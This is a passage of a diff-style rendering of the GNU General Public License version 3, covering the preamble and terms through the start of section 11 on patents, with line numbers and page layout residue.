|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
GNU GENERAL PUBLIC LICENSE
|
| 2 |
+
Version 3, 29 June 2007
|
| 3 |
+
|
| 4 |
+
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
| 5 |
+
Everyone is permitted to copy and distribute verbatim copies
|
| 6 |
+
of this license document, but changing it is not allowed.
|
| 7 |
+
|
| 8 |
+
Preamble
|
| 9 |
+
|
| 10 |
+
The GNU General Public License is a free, copyleft license for
|
| 11 |
+
software and other kinds of works.
|
| 12 |
+
|
| 13 |
+
The licenses for most software and other practical works are designed
|
| 14 |
+
to take away your freedom to share and change the works. By contrast,
|
| 15 |
+
the GNU General Public License is intended to guarantee your freedom to
|
| 16 |
+
share and change all versions of a program--to make sure it remains free
|
| 17 |
+
software for all its users. We, the Free Software Foundation, use the
|
| 18 |
+
GNU General Public License for most of our software; it applies also to
|
| 19 |
+
any other work released this way by its authors. You can apply it to
|
| 20 |
+
your programs, too.
|
| 21 |
+
|
| 22 |
+
When we speak of free software, we are referring to freedom, not
|
| 23 |
+
price. Our General Public Licenses are designed to make sure that you
|
| 24 |
+
have the freedom to distribute copies of free software (and charge for
|
| 25 |
+
them if you wish), that you receive source code or can get it if you
|
| 26 |
+
want it, that you can change the software or use pieces of it in new
|
| 27 |
+
free programs, and that you know you can do these things.
|
| 28 |
+
|
| 29 |
+
To protect your rights, we need to prevent others from denying you
|
| 30 |
+
these rights or asking you to surrender the rights. Therefore, you have
|
| 31 |
+
certain responsibilities if you distribute copies of the software, or if
|
| 32 |
+
you modify it: responsibilities to respect the freedom of others.
|
| 33 |
+
|
| 34 |
+
For example, if you distribute copies of such a program, whether
|
| 35 |
+
gratis or for a fee, you must pass on to the recipients the same
|
| 36 |
+
freedoms that you received. You must make sure that they, too, receive
|
| 37 |
+
or can get the source code. And you must show them these terms so they
|
| 38 |
+
know their rights.
|
| 39 |
+
|
| 40 |
+
Developers that use the GNU GPL protect your rights with two steps:
|
| 41 |
+
(1) assert copyright on the software, and (2) offer you this License
|
| 42 |
+
giving you legal permission to copy, distribute and/or modify it.
|
| 43 |
+
|
| 44 |
+
For the developers' and authors' protection, the GPL clearly explains
|
| 45 |
+
that there is no warranty for this free software. For both users' and
|
| 46 |
+
authors' sake, the GPL requires that modified versions be marked as
|
| 47 |
+
changed, so that their problems will not be attributed erroneously to
|
| 48 |
+
authors of previous versions.
|
| 49 |
+
|
| 50 |
+
Some devices are designed to deny users access to install or run
|
| 51 |
+
modified versions of the software inside them, although the manufacturer
|
| 52 |
+
can do so. This is fundamentally incompatible with the aim of
|
| 53 |
+
protecting users' freedom to change the software. The systematic
|
| 54 |
+
pattern of such abuse occurs in the area of products for individuals to
|
| 55 |
+
use, which is precisely where it is most unacceptable. Therefore, we
|
| 56 |
+
have designed this version of the GPL to prohibit the practice for those
|
| 57 |
+
products. If such problems arise substantially in other domains, we
|
| 58 |
+
stand ready to extend this provision to those domains in future versions
|
| 59 |
+
of the GPL, as needed to protect the freedom of users.
|
| 60 |
+
|
| 61 |
+
Finally, every program is threatened constantly by software patents.
|
| 62 |
+
States should not allow patents to restrict development and use of
|
| 63 |
+
software on general-purpose computers, but in those that do, we wish to
|
| 64 |
+
avoid the special danger that patents applied to a free program could
|
| 65 |
+
make it effectively proprietary. To prevent this, the GPL assures that
|
| 66 |
+
patents cannot be used to render the program non-free.
|
| 67 |
+
|
| 68 |
+
The precise terms and conditions for copying, distribution and
|
| 69 |
+
modification follow.
|
| 70 |
+
|
| 71 |
+
TERMS AND CONDITIONS
|
| 72 |
+
|
| 73 |
+
0. Definitions.
|
| 74 |
+
|
| 75 |
+
"This License" refers to version 3 of the GNU General Public License.
|
| 76 |
+
|
| 77 |
+
"Copyright" also means copyright-like laws that apply to other kinds of
|
| 78 |
+
works, such as semiconductor masks.
|
| 79 |
+
|
| 80 |
+
"The Program" refers to any copyrightable work licensed under this
|
| 81 |
+
License. Each licensee is addressed as "you". "Licensees" and
|
| 82 |
+
"recipients" may be individuals or organizations.
|
| 83 |
+
|
| 84 |
+
To "modify" a work means to copy from or adapt all or part of the work
|
| 85 |
+
in a fashion requiring copyright permission, other than the making of an
|
| 86 |
+
exact copy. The resulting work is called a "modified version" of the
|
| 87 |
+
earlier work or a work "based on" the earlier work.
|
| 88 |
+
|
| 89 |
+
A "covered work" means either the unmodified Program or a work based
|
| 90 |
+
on the Program.
|
| 91 |
+
|
| 92 |
+
To "propagate" a work means to do anything with it that, without
|
| 93 |
+
permission, would make you directly or secondarily liable for
|
| 94 |
+
infringement under applicable copyright law, except executing it on a
|
| 95 |
+
computer or modifying a private copy. Propagation includes copying,
|
| 96 |
+
distribution (with or without modification), making available to the
|
| 97 |
+
public, and in some countries other activities as well.
|
| 98 |
+
|
| 99 |
+
To "convey" a work means any kind of propagation that enables other
|
| 100 |
+
parties to make or receive copies. Mere interaction with a user through
|
| 101 |
+
a computer network, with no transfer of a copy, is not conveying.
|
| 102 |
+
|
| 103 |
+
An interactive user interface displays "Appropriate Legal Notices"
|
| 104 |
+
to the extent that it includes a convenient and prominently visible
|
| 105 |
+
feature that (1) displays an appropriate copyright notice, and (2)
|
| 106 |
+
tells the user that there is no warranty for the work (except to the
|
| 107 |
+
extent that warranties are provided), that licensees may convey the
|
| 108 |
+
work under this License, and how to view a copy of this License. If
|
| 109 |
+
the interface presents a list of user commands or options, such as a
|
| 110 |
+
menu, a prominent item in the list meets this criterion.
|
| 111 |
+
|
| 112 |
+
1. Source Code.
|
| 113 |
+
|
| 114 |
+
The "source code" for a work means the preferred form of the work
|
| 115 |
+
for making modifications to it. "Object code" means any non-source
|
| 116 |
+
form of a work.
|
| 117 |
+
|
| 118 |
+
A "Standard Interface" means an interface that either is an official
|
| 119 |
+
standard defined by a recognized standards body, or, in the case of
|
| 120 |
+
interfaces specified for a particular programming language, one that
|
| 121 |
+
is widely used among developers working in that language.
|
| 122 |
+
|
| 123 |
+
The "System Libraries" of an executable work include anything, other
|
| 124 |
+
than the work as a whole, that (a) is included in the normal form of
|
| 125 |
+
packaging a Major Component, but which is not part of that Major
|
| 126 |
+
Component, and (b) serves only to enable use of the work with that
|
| 127 |
+
Major Component, or to implement a Standard Interface for which an
|
| 128 |
+
implementation is available to the public in source code form. A
|
| 129 |
+
"Major Component", in this context, means a major essential component
|
| 130 |
+
(kernel, window system, and so on) of the specific operating system
|
| 131 |
+
(if any) on which the executable work runs, or a compiler used to
|
| 132 |
+
produce the work, or an object code interpreter used to run it.
|
| 133 |
+
|
| 134 |
+
The "Corresponding Source" for a work in object code form means all
|
| 135 |
+
the source code needed to generate, install, and (for an executable
|
| 136 |
+
work) run the object code and to modify the work, including scripts to
|
| 137 |
+
control those activities. However, it does not include the work's
|
| 138 |
+
System Libraries, or general-purpose tools or generally available free
|
| 139 |
+
programs which are used unmodified in performing those activities but
|
| 140 |
+
which are not part of the work. For example, Corresponding Source
|
| 141 |
+
includes interface definition files associated with source files for
|
| 142 |
+
the work, and the source code for shared libraries and dynamically
|
| 143 |
+
linked subprograms that the work is specifically designed to require,
|
| 144 |
+
such as by intimate data communication or control flow between those
|
| 145 |
+
subprograms and other parts of the work.
|
| 146 |
+
|
| 147 |
+
The Corresponding Source need not include anything that users
|
| 148 |
+
can regenerate automatically from other parts of the Corresponding
|
| 149 |
+
Source.
|
| 150 |
+
|
| 151 |
+
The Corresponding Source for a work in source code form is that
|
| 152 |
+
same work.
|
| 153 |
+
|
| 154 |
+
2. Basic Permissions.
|
| 155 |
+
|
| 156 |
+
All rights granted under this License are granted for the term of
|
| 157 |
+
copyright on the Program, and are irrevocable provided the stated
|
| 158 |
+
conditions are met. This License explicitly affirms your unlimited
|
| 159 |
+
permission to run the unmodified Program. The output from running a
|
| 160 |
+
covered work is covered by this License only if the output, given its
|
| 161 |
+
content, constitutes a covered work. This License acknowledges your
|
| 162 |
+
rights of fair use or other equivalent, as provided by copyright law.
|
| 163 |
+
|
| 164 |
+
You may make, run and propagate covered works that you do not
|
| 165 |
+
convey, without conditions so long as your license otherwise remains
|
| 166 |
+
in force. You may convey covered works to others for the sole purpose
|
| 167 |
+
of having them make modifications exclusively for you, or provide you
|
| 168 |
+
with facilities for running those works, provided that you comply with
|
| 169 |
+
the terms of this License in conveying all material for which you do
|
| 170 |
+
not control copyright. Those thus making or running the covered works
|
| 171 |
+
for you must do so exclusively on your behalf, under your direction
|
| 172 |
+
and control, on terms that prohibit them from making any copies of
|
| 173 |
+
your copyrighted material outside their relationship with you.
|
| 174 |
+
|
| 175 |
+
Conveying under any other circumstances is permitted solely under
|
| 176 |
+
the conditions stated below. Sublicensing is not allowed; section 10
|
| 177 |
+
makes it unnecessary.
|
| 178 |
+
|
| 179 |
+
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
| 180 |
+
|
| 181 |
+
No covered work shall be deemed part of an effective technological
|
| 182 |
+
measure under any applicable law fulfilling obligations under article
|
| 183 |
+
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
| 184 |
+
similar laws prohibiting or restricting circumvention of such
|
| 185 |
+
measures.
|
| 186 |
+
|
| 187 |
+
When you convey a covered work, you waive any legal power to forbid
|
| 188 |
+
circumvention of technological measures to the extent such circumvention
|
| 189 |
+
is effected by exercising rights under this License with respect to
|
| 190 |
+
the covered work, and you disclaim any intention to limit operation or
|
| 191 |
+
modification of the work as a means of enforcing, against the work's
|
| 192 |
+
users, your or third parties' legal rights to forbid circumvention of
|
| 193 |
+
technological measures.
|
| 194 |
+
|
| 195 |
+
4. Conveying Verbatim Copies.
|
| 196 |
+
|
| 197 |
+
You may convey verbatim copies of the Program's source code as you
|
| 198 |
+
receive it, in any medium, provided that you conspicuously and
|
| 199 |
+
appropriately publish on each copy an appropriate copyright notice;
|
| 200 |
+
keep intact all notices stating that this License and any
|
| 201 |
+
non-permissive terms added in accord with section 7 apply to the code;
|
| 202 |
+
keep intact all notices of the absence of any warranty; and give all
|
| 203 |
+
recipients a copy of this License along with the Program.
|
| 204 |
+
|
| 205 |
+
You may charge any price or no price for each copy that you convey,
|
| 206 |
+
and you may offer support or warranty protection for a fee.
|
| 207 |
+
|
| 208 |
+
5. Conveying Modified Source Versions.
|
| 209 |
+
|
| 210 |
+
You may convey a work based on the Program, or the modifications to
|
| 211 |
+
produce it from the Program, in the form of source code under the
|
| 212 |
+
terms of section 4, provided that you also meet all of these conditions:
|
| 213 |
+
|
| 214 |
+
a) The work must carry prominent notices stating that you modified
|
| 215 |
+
it, and giving a relevant date.
|
| 216 |
+
|
| 217 |
+
b) The work must carry prominent notices stating that it is
|
| 218 |
+
released under this License and any conditions added under section
|
| 219 |
+
7. This requirement modifies the requirement in section 4 to
|
| 220 |
+
"keep intact all notices".
|
| 221 |
+
|
| 222 |
+
c) You must license the entire work, as a whole, under this
|
| 223 |
+
License to anyone who comes into possession of a copy. This
|
| 224 |
+
License will therefore apply, along with any applicable section 7
|
| 225 |
+
additional terms, to the whole of the work, and all its parts,
|
| 226 |
+
regardless of how they are packaged. This License gives no
|
| 227 |
+
permission to license the work in any other way, but it does not
|
| 228 |
+
invalidate such permission if you have separately received it.
|
| 229 |
+
|
| 230 |
+
d) If the work has interactive user interfaces, each must display
|
| 231 |
+
Appropriate Legal Notices; however, if the Program has interactive
|
| 232 |
+
interfaces that do not display Appropriate Legal Notices, your
|
| 233 |
+
work need not make them do so.
|
| 234 |
+
|
| 235 |
+
A compilation of a covered work with other separate and independent
|
| 236 |
+
works, which are not by their nature extensions of the covered work,
|
| 237 |
+
and which are not combined with it such as to form a larger program,
|
| 238 |
+
in or on a volume of a storage or distribution medium, is called an
|
| 239 |
+
"aggregate" if the compilation and its resulting copyright are not
|
| 240 |
+
used to limit the access or legal rights of the compilation's users
|
| 241 |
+
beyond what the individual works permit. Inclusion of a covered work
|
| 242 |
+
in an aggregate does not cause this License to apply to the other
|
| 243 |
+
parts of the aggregate.
|
| 244 |
+
|
| 245 |
+
6. Conveying Non-Source Forms.
|
| 246 |
+
|
| 247 |
+
You may convey a covered work in object code form under the terms
|
| 248 |
+
of sections 4 and 5, provided that you also convey the
|
| 249 |
+
machine-readable Corresponding Source under the terms of this License,
|
| 250 |
+
in one of these ways:
|
| 251 |
+
|
| 252 |
+
a) Convey the object code in, or embodied in, a physical product
|
| 253 |
+
(including a physical distribution medium), accompanied by the
|
| 254 |
+
Corresponding Source fixed on a durable physical medium
|
| 255 |
+
customarily used for software interchange.
|
| 256 |
+
|
| 257 |
+
b) Convey the object code in, or embodied in, a physical product
|
| 258 |
+
(including a physical distribution medium), accompanied by a
|
| 259 |
+
written offer, valid for at least three years and valid for as
|
| 260 |
+
long as you offer spare parts or customer support for that product
|
| 261 |
+
model, to give anyone who possesses the object code either (1) a
|
| 262 |
+
copy of the Corresponding Source for all the software in the
|
| 263 |
+
product that is covered by this License, on a durable physical
|
| 264 |
+
medium customarily used for software interchange, for a price no
|
| 265 |
+
more than your reasonable cost of physically performing this
|
| 266 |
+
conveying of source, or (2) access to copy the
|
| 267 |
+
Corresponding Source from a network server at no charge.
|
| 268 |
+
|
| 269 |
+
c) Convey individual copies of the object code with a copy of the
|
| 270 |
+
written offer to provide the Corresponding Source. This
|
| 271 |
+
alternative is allowed only occasionally and noncommercially, and
|
| 272 |
+
only if you received the object code with such an offer, in accord
|
| 273 |
+
with subsection 6b.
|
| 274 |
+
|
| 275 |
+
d) Convey the object code by offering access from a designated
|
| 276 |
+
place (gratis or for a charge), and offer equivalent access to the
|
| 277 |
+
Corresponding Source in the same way through the same place at no
|
| 278 |
+
further charge. You need not require recipients to copy the
|
| 279 |
+
Corresponding Source along with the object code. If the place to
|
| 280 |
+
copy the object code is a network server, the Corresponding Source
|
| 281 |
+
may be on a different server (operated by you or a third party)
|
| 282 |
+
that supports equivalent copying facilities, provided you maintain
|
| 283 |
+
clear directions next to the object code saying where to find the
|
| 284 |
+
Corresponding Source. Regardless of what server hosts the
|
| 285 |
+
Corresponding Source, you remain obligated to ensure that it is
|
| 286 |
+
available for as long as needed to satisfy these requirements.
|
| 287 |
+
|
| 288 |
+
e) Convey the object code using peer-to-peer transmission, provided
|
| 289 |
+
you inform other peers where the object code and Corresponding
|
| 290 |
+
Source of the work are being offered to the general public at no
|
| 291 |
+
charge under subsection 6d.
|
| 292 |
+
|
| 293 |
+
A separable portion of the object code, whose source code is excluded
|
| 294 |
+
from the Corresponding Source as a System Library, need not be
|
| 295 |
+
included in conveying the object code work.
|
| 296 |
+
|
| 297 |
+
A "User Product" is either (1) a "consumer product", which means any
|
| 298 |
+
tangible personal property which is normally used for personal, family,
|
| 299 |
+
or household purposes, or (2) anything designed or sold for incorporation
|
| 300 |
+
into a dwelling. In determining whether a product is a consumer product,
|
| 301 |
+
doubtful cases shall be resolved in favor of coverage. For a particular
|
| 302 |
+
product received by a particular user, "normally used" refers to a
|
| 303 |
+
typical or common use of that class of product, regardless of the status
|
| 304 |
+
of the particular user or of the way in which the particular user
|
| 305 |
+
actually uses, or expects or is expected to use, the product. A product
|
| 306 |
+
is a consumer product regardless of whether the product has substantial
|
| 307 |
+
commercial, industrial or non-consumer uses, unless such uses represent
|
| 308 |
+
the only significant mode of use of the product.
|
| 309 |
+
|
| 310 |
+
"Installation Information" for a User Product means any methods,
|
| 311 |
+
procedures, authorization keys, or other information required to install
|
| 312 |
+
and execute modified versions of a covered work in that User Product from
|
| 313 |
+
a modified version of its Corresponding Source. The information must
|
| 314 |
+
suffice to ensure that the continued functioning of the modified object
|
| 315 |
+
code is in no case prevented or interfered with solely because
|
| 316 |
+
modification has been made.
|
| 317 |
+
|
| 318 |
+
If you convey an object code work under this section in, or with, or
|
| 319 |
+
specifically for use in, a User Product, and the conveying occurs as
|
| 320 |
+
part of a transaction in which the right of possession and use of the
|
| 321 |
+
User Product is transferred to the recipient in perpetuity or for a
|
| 322 |
+
fixed term (regardless of how the transaction is characterized), the
|
| 323 |
+
Corresponding Source conveyed under this section must be accompanied
|
| 324 |
+
by the Installation Information. But this requirement does not apply
|
| 325 |
+
if neither you nor any third party retains the ability to install
|
| 326 |
+
modified object code on the User Product (for example, the work has
|
| 327 |
+
been installed in ROM).
|
| 328 |
+
|
| 329 |
+
The requirement to provide Installation Information does not include a
|
| 330 |
+
requirement to continue to provide support service, warranty, or updates
|
| 331 |
+
for a work that has been modified or installed by the recipient, or for
|
| 332 |
+
the User Product in which it has been modified or installed. Access to a
|
| 333 |
+
network may be denied when the modification itself materially and
|
| 334 |
+
adversely affects the operation of the network or violates the rules and
|
| 335 |
+
protocols for communication across the network.
|
| 336 |
+
|
| 337 |
+
Corresponding Source conveyed, and Installation Information provided,
|
| 338 |
+
in accord with this section must be in a format that is publicly
|
| 339 |
+
documented (and with an implementation available to the public in
|
| 340 |
+
source code form), and must require no special password or key for
|
| 341 |
+
unpacking, reading or copying.
|
| 342 |
+
|
| 343 |
+
7. Additional Terms.
|
| 344 |
+
|
| 345 |
+
"Additional permissions" are terms that supplement the terms of this
|
| 346 |
+
License by making exceptions from one or more of its conditions.
|
| 347 |
+
Additional permissions that are applicable to the entire Program shall
|
| 348 |
+
be treated as though they were included in this License, to the extent
|
| 349 |
+
that they are valid under applicable law. If additional permissions
|
| 350 |
+
apply only to part of the Program, that part may be used separately
|
| 351 |
+
under those permissions, but the entire Program remains governed by
|
| 352 |
+
this License without regard to the additional permissions.
|
| 353 |
+
|
| 354 |
+
When you convey a copy of a covered work, you may at your option
|
| 355 |
+
remove any additional permissions from that copy, or from any part of
|
| 356 |
+
it. (Additional permissions may be written to require their own
|
| 357 |
+
removal in certain cases when you modify the work.) You may place
|
| 358 |
+
additional permissions on material, added by you to a covered work,
|
| 359 |
+
for which you have or can give appropriate copyright permission.
|
| 360 |
+
|
| 361 |
+
Notwithstanding any other provision of this License, for material you
|
| 362 |
+
add to a covered work, you may (if authorized by the copyright holders of
|
| 363 |
+
that material) supplement the terms of this License with terms:
|
| 364 |
+
|
| 365 |
+
a) Disclaiming warranty or limiting liability differently from the
|
| 366 |
+
terms of sections 15 and 16 of this License; or
|
| 367 |
+
|
| 368 |
+
b) Requiring preservation of specified reasonable legal notices or
|
| 369 |
+
author attributions in that material or in the Appropriate Legal
|
| 370 |
+
Notices displayed by works containing it; or
|
| 371 |
+
|
| 372 |
+
c) Prohibiting misrepresentation of the origin of that material, or
|
| 373 |
+
requiring that modified versions of such material be marked in
|
| 374 |
+
reasonable ways as different from the original version; or
|
| 375 |
+
|
| 376 |
+
d) Limiting the use for publicity purposes of names of licensors or
|
| 377 |
+
authors of the material; or
|
| 378 |
+
|
| 379 |
+
e) Declining to grant rights under trademark law for use of some
|
| 380 |
+
trade names, trademarks, or service marks; or
|
| 381 |
+
|
| 382 |
+
f) Requiring indemnification of licensors and authors of that
|
| 383 |
+
material by anyone who conveys the material (or modified versions of
|
| 384 |
+
it) with contractual assumptions of liability to the recipient, for
|
| 385 |
+
any liability that these contractual assumptions directly impose on
|
| 386 |
+
those licensors and authors.
|
| 387 |
+
|
| 388 |
+
All other non-permissive additional terms are considered "further
|
| 389 |
+
restrictions" within the meaning of section 10. If the Program as you
|
| 390 |
+
received it, or any part of it, contains a notice stating that it is
|
| 391 |
+
governed by this License along with a term that is a further
|
| 392 |
+
restriction, you may remove that term. If a license document contains
|
| 393 |
+
a further restriction but permits relicensing or conveying under this
|
| 394 |
+
License, you may add to a covered work material governed by the terms
|
| 395 |
+
of that license document, provided that the further restriction does
|
| 396 |
+
not survive such relicensing or conveying.
|
| 397 |
+
|
| 398 |
+
If you add terms to a covered work in accord with this section, you
|
| 399 |
+
must place, in the relevant source files, a statement of the
|
| 400 |
+
additional terms that apply to those files, or a notice indicating
|
| 401 |
+
where to find the applicable terms.
|
| 402 |
+
|
| 403 |
+
Additional terms, permissive or non-permissive, may be stated in the
|
| 404 |
+
form of a separately written license, or stated as exceptions;
|
| 405 |
+
the above requirements apply either way.
|
| 406 |
+
|
| 407 |
+
8. Termination.
|
| 408 |
+
|
| 409 |
+
You may not propagate or modify a covered work except as expressly
|
| 410 |
+
provided under this License. Any attempt otherwise to propagate or
|
| 411 |
+
modify it is void, and will automatically terminate your rights under
|
| 412 |
+
this License (including any patent licenses granted under the third
|
| 413 |
+
paragraph of section 11).
|
| 414 |
+
|
| 415 |
+
However, if you cease all violation of this License, then your
|
| 416 |
+
license from a particular copyright holder is reinstated (a)
|
| 417 |
+
provisionally, unless and until the copyright holder explicitly and
|
| 418 |
+
finally terminates your license, and (b) permanently, if the copyright
|
| 419 |
+
holder fails to notify you of the violation by some reasonable means
|
| 420 |
+
prior to 60 days after the cessation.
|
| 421 |
+
|
| 422 |
+
Moreover, your license from a particular copyright holder is
|
| 423 |
+
reinstated permanently if the copyright holder notifies you of the
|
| 424 |
+
violation by some reasonable means, this is the first time you have
|
| 425 |
+
received notice of violation of this License (for any work) from that
|
| 426 |
+
copyright holder, and you cure the violation prior to 30 days after
|
| 427 |
+
your receipt of the notice.
|
| 428 |
+
|
| 429 |
+
Termination of your rights under this section does not terminate the
|
| 430 |
+
licenses of parties who have received copies or rights from you under
|
| 431 |
+
this License. If your rights have been terminated and not permanently
|
| 432 |
+
reinstated, you do not qualify to receive new licenses for the same
|
| 433 |
+
material under section 10.
|
| 434 |
+
|
| 435 |
+
9. Acceptance Not Required for Having Copies.
|
| 436 |
+
|
| 437 |
+
You are not required to accept this License in order to receive or
|
| 438 |
+
run a copy of the Program. Ancillary propagation of a covered work
|
| 439 |
+
occurring solely as a consequence of using peer-to-peer transmission
|
| 440 |
+
to receive a copy likewise does not require acceptance. However,
|
| 441 |
+
nothing other than this License grants you permission to propagate or
|
| 442 |
+
modify any covered work. These actions infringe copyright if you do
|
| 443 |
+
not accept this License. Therefore, by modifying or propagating a
|
| 444 |
+
covered work, you indicate your acceptance of this License to do so.
|
| 445 |
+
|
| 446 |
+
10. Automatic Licensing of Downstream Recipients.
|
| 447 |
+
|
| 448 |
+
Each time you convey a covered work, the recipient automatically
|
| 449 |
+
receives a license from the original licensors, to run, modify and
|
| 450 |
+
propagate that work, subject to this License. You are not responsible
|
| 451 |
+
for enforcing compliance by third parties with this License.
|
| 452 |
+
|
| 453 |
+
An "entity transaction" is a transaction transferring control of an
|
| 454 |
+
organization, or substantially all assets of one, or subdividing an
|
| 455 |
+
organization, or merging organizations. If propagation of a covered
|
| 456 |
+
work results from an entity transaction, each party to that
|
| 457 |
+
transaction who receives a copy of the work also receives whatever
|
| 458 |
+
licenses to the work the party's predecessor in interest had or could
|
| 459 |
+
give under the previous paragraph, plus a right to possession of the
|
| 460 |
+
Corresponding Source of the work from the predecessor in interest, if
|
| 461 |
+
the predecessor has it or can get it with reasonable efforts.
|
| 462 |
+
|
| 463 |
+
You may not impose any further restrictions on the exercise of the
|
| 464 |
+
rights granted or affirmed under this License. For example, you may
|
| 465 |
+
not impose a license fee, royalty, or other charge for exercise of
|
| 466 |
+
rights granted under this License, and you may not initiate litigation
|
| 467 |
+
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
| 468 |
+
any patent claim is infringed by making, using, selling, offering for
|
| 469 |
+
sale, or importing the Program or any portion of it.
|
| 470 |
+
|
| 471 |
+
11. Patents.
|
| 472 |
+
|
| 473 |
+
A "contributor" is a copyright holder who authorizes use under this
|
| 474 |
+
License of the Program or a work on which the Program is based. The
|
| 475 |
+
work thus licensed is called the contributor's "contributor version".
|
| 476 |
+
|
| 477 |
+
A contributor's "essential patent claims" are all patent claims
|
| 478 |
+
owned or controlled by the contributor, whether already acquired or
|
| 479 |
+
hereafter acquired, that would be infringed by some manner, permitted
|
| 480 |
+
by this License, of making, using, or selling its contributor version,
|
| 481 |
+
but do not include claims that would be infringed only as a
|
| 482 |
+
consequence of further modification of the contributor version. For
|
| 483 |
+
purposes of this definition, "control" includes the right to grant
|
| 484 |
+
patent sublicenses in a manner consistent with the requirements of
|
| 485 |
+
this License.
|
| 486 |
+
|
| 487 |
+
